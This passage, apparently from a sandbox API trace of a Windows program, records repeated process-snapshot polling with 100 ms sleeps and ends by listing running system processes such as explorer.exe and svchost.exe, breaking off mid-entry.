pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.712] Sleep (dwMilliseconds=0x64) [0223.725] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.741] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.814] Sleep (dwMilliseconds=0x64) [0223.824] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0223.858] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0223.954] Sleep (dwMilliseconds=0x64) [0223.956] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.017] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.112] Sleep (dwMilliseconds=0x64) [0224.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.149] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.265] Sleep (dwMilliseconds=0x64) [0224.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.288] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.406] Sleep (dwMilliseconds=0x64) [0224.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.423] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.532] Sleep (dwMilliseconds=0x64) [0224.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.546] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.684] Sleep (dwMilliseconds=0x64) [0224.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.712] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.815] Sleep (dwMilliseconds=0x64) [0224.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0224.831] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.908] Sleep (dwMilliseconds=0x64) [0224.910] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0225.240] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.348] Sleep (dwMilliseconds=0x64) [0225.351] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0225.365] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.478] Sleep (dwMilliseconds=0x64) [0225.486] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0225.500] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.603] Sleep (dwMilliseconds=0x64) [0225.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0225.621] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.753] Sleep (dwMilliseconds=0x64) [0225.755] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0225.809] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.934] Sleep (dwMilliseconds=0x64) [0225.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0225.961] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.092] Sleep (dwMilliseconds=0x64) [0226.093] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.114] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.267] Sleep (dwMilliseconds=0x64) [0226.269] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.281] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.471] Sleep (dwMilliseconds=0x64) [0226.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.495] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.647] Sleep (dwMilliseconds=0x64) [0226.649] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.662] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.746] Sleep (dwMilliseconds=0x64) [0226.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.843] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.911] Sleep (dwMilliseconds=0x64) [0226.913] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0226.927] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.049] Sleep (dwMilliseconds=0x64) [0227.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0227.144] Process32First (in: hSnapshot=0x2190, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.324] Sleep (dwMilliseconds=0x64) [0227.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0227.338] Process32First (in: hSnapshot=0x2190, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.481] Sleep (dwMilliseconds=0x64) [0227.490] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0227.503] Process32First (in: hSnapshot=0x2190, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.582] Sleep (dwMilliseconds=0x64) [0227.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0227.636] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.704] Sleep (dwMilliseconds=0x64) [0227.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0227.746] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.848] Sleep (dwMilliseconds=0x64) [0227.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0227.881] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.009] Sleep (dwMilliseconds=0x64) [0228.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.117] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.264] Sleep (dwMilliseconds=0x64) [0228.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.292] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.409] Sleep (dwMilliseconds=0x64) [0228.418] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.431] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.530] Sleep (dwMilliseconds=0x64) [0228.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.565] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.637] Sleep (dwMilliseconds=0x64) [0228.639] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.652] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.760] Sleep (dwMilliseconds=0x64) [0228.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2028 [0228.780] Process32First (in: hSnapshot=0x2028, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.890] Sleep (dwMilliseconds=0x64) [0228.914] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0228.930] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.040] Sleep (dwMilliseconds=0x64) [0229.042] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.055] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.207] Sleep (dwMilliseconds=0x64) [0229.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.238] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.428] Sleep (dwMilliseconds=0x64) [0229.429] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.445] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.523] Sleep (dwMilliseconds=0x64) [0229.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.542] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.663] Sleep (dwMilliseconds=0x64) [0229.684] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.705] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.813] Sleep (dwMilliseconds=0x64) [0229.814] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.837] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.954] Sleep (dwMilliseconds=0x64) [0229.955] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0229.972] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.073] Sleep (dwMilliseconds=0x64) [0230.075] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0230.087] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.155] Sleep (dwMilliseconds=0x64) [0230.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x202c [0230.200] Process32First (in: hSnapshot=0x202c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.283] Sleep (dwMilliseconds=0x64) [0230.287] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0230.303] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.446] Sleep (dwMilliseconds=0x64) [0230.447] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0230.460] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.599] Sleep (dwMilliseconds=0x64) [0230.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0230.627] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.767] Sleep (dwMilliseconds=0x64) [0230.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x203c [0230.819] Process32First (in: hSnapshot=0x203c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.886] Sleep (dwMilliseconds=0x64) [0230.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x203c [0230.942] Process32First (in: hSnapshot=0x203c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.144] Sleep (dwMilliseconds=0x64) [0231.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0231.230] Process32First (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.614] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.617] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.619] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.621] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.622] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.624] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0231.625] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.627] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.629] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.631] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0231.633] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.635] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.636] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0231.639] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.641] Process32Next (in: hSnapshot=0x2064, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, 